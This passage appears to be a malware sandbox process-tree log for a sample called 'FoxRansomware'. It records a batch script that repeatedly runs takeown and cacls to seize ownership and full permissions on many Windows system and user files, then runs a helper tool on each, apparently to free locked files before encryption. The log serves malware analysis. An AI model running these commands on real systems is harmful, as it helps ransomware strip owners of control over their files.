    cacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm" /E /G Admin:F /C
    3⤵
    PID:6664
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm"
    3⤵
    PID:6528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "SmsInterceptStore.jfm" -nobanner
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6532
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "SmsInterceptStore.jfm" -nobanner
      4⤵
      PID:6484
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6404
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml""
  2⤵
  PID:6452
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml" /E /G Admin:F /C
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6376
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml"
    3⤵
    PID:5192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner
    3⤵
    PID:5576
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner
      4⤵
      PID:6596
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7028
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml""
  2⤵
  PID:7148
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml" /E /G Admin:F /C
    3⤵
    PID:7000
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml"
    3⤵
    PID:7560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner
    3⤵
    PID:7108
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner
      4⤵
      PID:7124
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7120
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml""
  2⤵
  PID:7144
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml" /E /G Admin:F /C
    3⤵
    PID:928
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml"
    3⤵
    PID:6616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "RoamingCredentialSettings.xml" -nobanner
    3⤵
    PID:5528
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "RoamingCredentialSettings.xml" -nobanner
      4⤵
      PID:4392
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4752
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db""
  2⤵
  PID:7644
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db" /E /G Admin:F /C
    3⤵
    PID:6064
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db"
    3⤵
    PID:5924
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "SmsInterceptStore.db" -nobanner
    3⤵
    PID:2172
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "SmsInterceptStore.db" -nobanner
      4⤵
      PID:396
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4732
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin""
  2⤵
  PID:5268
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin" /E /G Admin:F /C
    3⤵
    PID:7628
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000009.bin"
    3⤵
    - Modifies file permissions
    PID:8128
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000009.bin" -nobanner
    3⤵
    PID:5388
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000009.bin" -nobanner
      4⤵
      PID:5852
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6000
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin""
  2⤵
  PID:8184
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin" /E /G Admin:F /C
    3⤵
    PID:5960
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin"
    3⤵
    PID:5956
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000000N.bin" -nobanner
    3⤵
    PID:4488
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000000N.bin" -nobanner
      4⤵
      PID:1416
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:8112
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin""
  2⤵
  PID:7880
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin" /E /G Admin:F /C
    3⤵
    PID:6736
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000011.bin"
    3⤵
    PID:6696
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000011.bin" -nobanner
    3⤵
    PID:5964
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000011.bin" -nobanner
      4⤵
      PID:7952
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7908
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml""
  2⤵
  PID:8120
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml" /E /G Admin:F /C
    3⤵
    PID:7924
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5948
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "behavior.xml" -nobanner
    3⤵
    - System Location Discovery: System Language Discovery
    PID:7800
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "behavior.xml" -nobanner
      4⤵
      System Location Discovery: System Language Discovery
      PID:7916
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:508
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\uk-UA\resource.xml""
  2⤵
  PID:7812
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\uk-UA\resource.xml" /E /G Admin:F /C
    3⤵
    PID:7612
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\uk-UA\resource.xml"
    3⤵
    PID:7780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "resource.xml" -nobanner
    3⤵
    PID:7708
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "resource.xml" -nobanner
      4⤵
      PID:7616
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7696
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml""
  2⤵
  PID:7692
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml" /E /G Admin:F /C
    3⤵
    PID:5204
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml"
    3⤵
    PID:7468
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "WINDOWS.PERFTRACKESCALATIONS.xml" -nobanner
    3⤵
    PID:7596
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "WINDOWS.PERFTRACKESCALATIONS.xml" -nobanner
      4⤵
      PID:6692
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7964
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml""
  2⤵
  PID:7552
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml" /E /G Admin:F /C
    3⤵
    PID:5164
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\EaseOfAccessSettings2013.xml"
    3⤵
    PID:7720
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner
    3⤵
    PID:7364
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "EaseOfAccessSettings2013.xml" -nobanner
      4⤵
      PID:7372
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7600
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml""
  2⤵
  PID:7432
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml" /E /G Admin:F /C
    3⤵
    PID:7392
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013BackupWin64.xml"
    3⤵
    - Modifies file permissions
    PID:7388
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner
    3⤵
    PID:6892
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOffice2013BackupWin64.xml" -nobanner
      4⤵
      PID:1944
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7212
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml""
  2⤵
  PID:6192
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml" /E /G Admin:F /C
    3⤵
    PID:2468
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml"
    3⤵
    PID:7444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner
    3⤵
    PID:6200
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "MicrosoftOutlook2013CAWin64.xml" -nobanner
      4⤵
      PID:7508
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:7472
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1""
  2⤵
  PID:7276
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1" /E /G Admin:F /C
    3⤵
    PID:7192
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1"
    3⤵
    PID:7300
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
    3⤵
    PID:7268
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "RegisterInboxTemplates.ps1" -nobanner
      4⤵
      PID:6288
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6056
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin""
  2⤵
  PID:316
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin" /E /G Admin:F /C
    3⤵
    PID:4872
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006D.bin"
    3⤵
    PID:5548
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000006D.bin" -nobanner
    3⤵
    PID:1000
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000006D.bin" -nobanner
      4⤵
      PID:236
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4772
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin""
  2⤵
  PID:5168
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin" /E /G Admin:F /C
    3⤵
    PID:6808
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin"
    3⤵
    PID:6876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000006N.bin" -nobanner
    3⤵
    PID:200
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000006N.bin" -nobanner
      4⤵
      PID:6660
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:2396
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin""
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5828
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin" /E /G Admin:F /C
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4232
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007V.bin"
    3⤵
    PID:3720
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000007V.bin" -nobanner
    3⤵
    PID:5436
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000007V.bin" -nobanner
      4⤵
      PID:6276
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:6128
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin""
  2⤵
  PID:5544
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin" /E /G Admin:F /C
    3⤵
    PID:3764
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000089.bin"
    3⤵
    PID:2144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "00000089.bin" -nobanner
    3⤵
    PID:2252
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "00000089.bin" -nobanner
      4⤵
      PID:6072
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:5712
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009B.bin""
  2⤵
  PID:1532
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009B.bin" /E /G Admin:F /C
    3⤵
    PID:3076
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009B.bin"
    3⤵
    - Modifies file permissions
    PID:1888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000009B.bin" -nobanner
    3⤵
    PID:2280
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000009B.bin" -nobanner
      4⤵
      PID:2604
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1536
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009L.bin""
  2⤵
  PID:4816
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009L.bin" /E /G Admin:F /C
    3⤵
    PID:6316
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009L.bin"
    3⤵
    PID:2000
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "0000009L.bin" -nobanner
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3448
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "0000009L.bin" -nobanner
      4⤵
      PID:4292
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:1608
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A6.bin""
  2⤵
  PID:6076
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A6.bin" /E /G Admin:F /C
    3⤵
    PID:5912
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A6.bin"
    3⤵
    PID:4256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000A6.bin" -nobanner
    3⤵
    PID:5764
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000A6.bin" -nobanner
      4⤵
      PID:6136
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4368
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AH.bin""
  2⤵
  PID:5888
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AH.bin" /E /G Admin:F /C
    3⤵
    PID:5672
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AH.bin"
    3⤵
    - Modifies file permissions
    PID:2384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000AH.bin" -nobanner
    3⤵
    PID:5692
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000AH.bin" -nobanner
      4⤵
      PID:5740
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:3344
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B7.bin""
  2⤵
  PID:792
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B7.bin" /E /G Admin:F /C
    3⤵
    PID:2844
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000B7.bin"
    3⤵
    PID:5788
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "000000B7.bin" -nobanner
    3⤵
    PID:5628
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "000000B7.bin" -nobanner
      4⤵
      PID:5452
- - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
    kyAImsgA.exe -accepteula -c Run -y -p extract -nobanner
    3⤵
    PID:4724
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\LB5u22pd.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\User\Default\Indexed DB\edbtmp.log""
  2⤵
  PID:5048
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\User\Default\Indexed DB\edbtmp.log" /E /G Admin:F /C
    3⤵
    PID:2884
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AppData\User\Default\Indexed DB\edbtmp.log"
    3⤵
    PID:6240
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c kyAImsgA.exe -accepteula "edbtmp.log" -nobanner
    3⤵
    PID:7176
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kyAImsgA.exe
      kyAImsgA.exe -accepteula "edbtmp.log" -nobanner
      4⤵
